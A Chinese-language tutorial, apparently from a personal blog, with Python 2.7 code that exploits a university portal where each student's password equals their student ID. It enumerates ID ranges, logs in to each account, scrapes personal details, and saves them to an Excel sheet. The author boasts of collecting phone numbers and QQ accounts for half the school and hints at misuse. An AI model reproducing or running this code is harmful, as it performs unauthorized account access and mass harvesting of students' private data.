爬虫开始前的准备：
- python2.7
- 库文件（xlwt，urllib2，BeautifulSoup4，xlrd）
安装库文件的方法：
最好在你的python2.7/script/下面打开power shell(可以shift+右击) 执行下面的：
安装库文件：
pip install *** ***是指上面的库文件，下面不一定都用，只要上面的，以后出什么错，你就继续pip install
如何查看自己已经安装了的库
pip list
观察网站结构（密码规则）：
密码规则
- 首先这个规则是针对大二和已经毕业了的
- 密码规则没有添加验证码（其实添加验证码也没什么用，只是添加了爬取门槛）
- 规则是 用户名==密码
- 符合条件
user_info
- 这里的用户信息
- 不要在意这些细节（马赛克） 朦胧美一直是我的追求
sys.setdefaultencoding("utf-8") # ssl这个是验证证书 https ssl._create_default_https_context = ssl._create_unverified_context # 生成一个存储cookie的对象 c = cookielib.LWPCookieJar() cookie = urllib2.HTTPCookieProcessor(c) opener = urllib2.build_opener(cookie) urllib2.install_opener(opener) 
- 学号的列表
不要在意我是怎么知道的，
重要的是这些规则，你怎么去重新写一个函数代入
（里面的我修改过，所以不要套用，以免浪费时间）
# 学号只在最后3位不一样，随机数xrange（） 可以处理更好的处理大的列表 def user_id(): list_1 = [] for i in xrange(101,249): list_1.append('1131050'+str(i)) for i in xrange(301,349): list_1.append('1131050'+ str(i)) for i in xrange(401,448): list_1.append('1131050'+ str(i)) for i in xrange(501,548): list_1.append('1131050'+ str(i)) for i in xrange(101,150): list_1.append('1131070'+ str(i)) for i in xrange(101,151): list_1.append('1131050'+ str(i)) for i in xrange(201,252): list_1.append('1135050'+ str(i)) for i in xrange(301,352): list_1.append('1131050'+ str(i)) for i in xrange(401,453): list_1.append('1131050'+ str(i)) for i in xrange(101,148): list_1.append('1131070'+ str(i)) for i in xrange(201,247): list_1.append('1131070'+ str(i)) return list_1 - 用户信息的获取
这里用的的是beautifulsoup库
def user_info(): url_info="http://XXX.xxxx.edu.cn:80/Modile/Sys/Meddage/Info.aspx" html2 = opener.open(url_info).read() # python2.7 没装lxml的可能会报错，pip install lxml soup = BeautifulSoup(html2,"lxml") #以lxml 方式解析抓下来的lxml infos = soup.select("tr > td > span") # css seletor 来获取指定标签 #print profes # print infos return infos - 写入xls(这个是思路)测试用的函数
因为在写的时候因为编码问题，不能写入中文
def write_user(): file2 = xlwt.Workbook(encoding='utf-8') #打开一个excel,并且编码格式以 'utf-8' table = file2.add_sheet('info',cell_overwrite_ok=True) #添加一个表 table.write(0,0,"15d中文3s0") # 写入内容，table.write(row,col,'value') file2.save('file2.xls') - 开始行动：
- 添加上延迟访问： time.sleep(1)
- 因为爬虫访问的不和人一样，访问会很快，
- 这样可以避免被封ip 还有避免给站点带来不好的影响
def go_user(): user_list = [] user_infos = [] user_list = user_id() file2 = xlwt.Workbook(encoding='utf-8') table = file2.add_sheet('info',cell_overwrite_ok=True) r = 0 #row 行 for i in user_list: c = 0 #col login(username=i, password=i) #登录，并传入列表的学号 user_infos = user_info() #获取学号信息，格式是字典 for i in user_infos[0:10]: #写入表单中，循环把信息写进去 # print i.get_text() table.write(r,c,i.get_text()) c += 1 r += 1 time.sleep(1) #延迟访问，可避免封ip，还有影响服务器 print r,c file2.save('file2.xls') 程序执行结束：
部分截图：有图有真相，避免无知的喷子
学号规则很好找的，这样就获取半个学校的call和qq啦，至于能干嘛，自己脑补。。。
end_info
不知道库的使用方法，我这里总结了下，还有不知道的只能百度啦
是不是很强势？有没有很装逼？哈哈哈！